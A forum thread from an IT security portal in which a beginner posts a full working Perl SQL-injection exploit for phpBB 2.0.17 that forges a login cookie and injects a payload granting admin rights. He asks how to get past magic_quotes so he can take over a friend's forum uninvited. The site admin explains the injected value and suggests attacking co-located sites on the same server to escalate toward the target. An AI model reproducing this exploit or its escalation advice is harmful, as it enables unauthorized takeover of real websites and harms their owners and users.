Waraxe IT Security Portal
Login or Register
July 27, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 206
Members: 0
Total: 206
Full disclosure
CyberDanube Security Research 20240722-0 | Multiple Vulnerabilities in Perten/PerkinElmer ProcessPlus
[KIS-2024-06] XenForo <= 2.2.15 (Template System) Remote Code Execution Vulnerability
[KIS-2024-05] XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> phpBB 2.0.17 - any way to hack with magic quotes on?
Post new topicReply to topic View previous topic :: View next topic
phpBB 2.0.17 - any way to hack with magic quotes on?
PostPosted: Sat Jun 20, 2009 10:08 pm Reply with quote
12dollar
Beginner
Beginner
Joined: Jun 21, 2009
Posts: 4




Hi guys ...

I used the sql injection exploit:


Code:

#!/usr/bin/perl

# Exploit for sql injection in phpbb <=2.0.17
# It works with php5, with register_globals on and magic_quotes_gpc off
# Author: Eax (eax@cc-team.org)


use strict;
use LWP::UserAgent;
use Digest::MD5 'md5_hex';

if (@ARGV<6){
print "Usage $0 host path your_id your_password your_email your_username\n";
print "example: $0 target.org /phpbb/ 10 blebleble ble\@ble.pl ble\n\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $userid = $ARGV[2];
my $passwd = $ARGV[3];
my $mail = $ARGV[4];
my $username = $ARGV[5];

$passwd = md5_hex($passwd);

my $cookie_string = "phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%2
2".$passwd."%22%3Bs%3A6%3A%22userid%22%3Bi%3A".$userid."%3B%7D";

my $browser = LWP::UserAgent->new ();
$browser->default_header(Cookie=>$cookie_string);

my $address = 'http://'.$host.$path.'profile.php';
my $response = $browser->post($address, [ "username" => $username, "email" => $mail,
"mode"=>'editprofile', "agreed"=>'true', "coppa"=>'0', "user_id"=>$userid, "
current_email"=>$mail, "submit"=>"Submit", 'GLOBALS[signature_bbcode_uid]'=>"', u
ser_level='1"]);

print "if everything was ok you should have admin rights now Smile\n";


As i thought ... magic_quotes is on ... is there any way to exploit it? As far as i know there's the small chance with %2527 ... but hell .... i don't really know how to do it Very Happy

And no .. i'm not a Script Kiddy or anything else .. i just wanted to scare a friend of mine after i got admin rights Very Happy

So long 12$

Thanks in advance Smile
View user's profile Send private message
Re: phpBB 2.0.17 - any way to hack with magic quotes on?
PostPosted: Sat Jun 20, 2009 10:50 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




12dollar wrote:

And no .. i'm not a Script Kiddy or anything else .. i just wanted to scare a friend of mine after i got admin rights Very Happy


But you are a script kiddy Neutral You are using milw0rm exploits lol
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Sat Jun 20, 2009 11:01 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Code:

', user_level='1


Yes, definitely "magic_quotes_gpc=off" is needed. Phpbb developers forgot to sanitize specific parameter in INSERT query, but with "magic_quotes_gpc=on" php will do it anyway Smile


Last edited by waraxe on Sat Jun 20, 2009 11:16 pm; edited 2 times in total
View user's profile Send private message Send e-mail Visit poster's website
Re: phpBB 2.0.17 - any way to hack with magic quotes on?
PostPosted: Sat Jun 20, 2009 11:06 pm Reply with quote
12dollar
Beginner
Beginner
Joined: Jun 21, 2009
Posts: 4




capt wrote:
12dollar wrote:

And no .. i'm not a Script Kiddy or anything else .. i just wanted to scare a friend of mine after i got admin rights Very Happy


But you are a script kiddy Neutral You are using milw0rm exploits lol


well .. it's kinda true ... but i'm not going to use it randomly Smile i just want to scare him once, that should be enough Smile

@ Waraxe: i didn't really get your statement ... hell it's 1 a.m. ... i think i should read your posts after i got some sleep .. or i'm just too stupid Very Happy



edit: welll i'm finally awake Very Happy is there any way now to bypass magic quotes? hell .. i'm kinda greedy Very Happy
View user's profile Send private message
PostPosted: Mon Jun 22, 2009 9:52 am Reply with quote
12dollar
Beginner
Beginner
Joined: Jun 21, 2009
Posts: 4




? any ideas left?
View user's profile Send private message
PostPosted: Mon Jun 22, 2009 10:16 am Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




Probably not possible with that exploit

_________________
http://www.gibbocool.com
View user's profile Send private message Visit poster's website
PostPosted: Mon Jun 22, 2009 12:05 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I agree with gibbocool - you need to look for other ways into the target system. As always, my suggestion is searching for possible co-located websites on same server. If you can find exploitable vulnerability in one of them, then further attack escalation - towards main target - may be possible.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Jun 22, 2009 6:12 pm Reply with quote
12dollar
Beginner
Beginner
Joined: Jun 21, 2009
Posts: 4




thanks a lot Smile
View user's profile Send private message
phpBB 2.0.17 - any way to hack with magic quotes on?
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.296 Seconds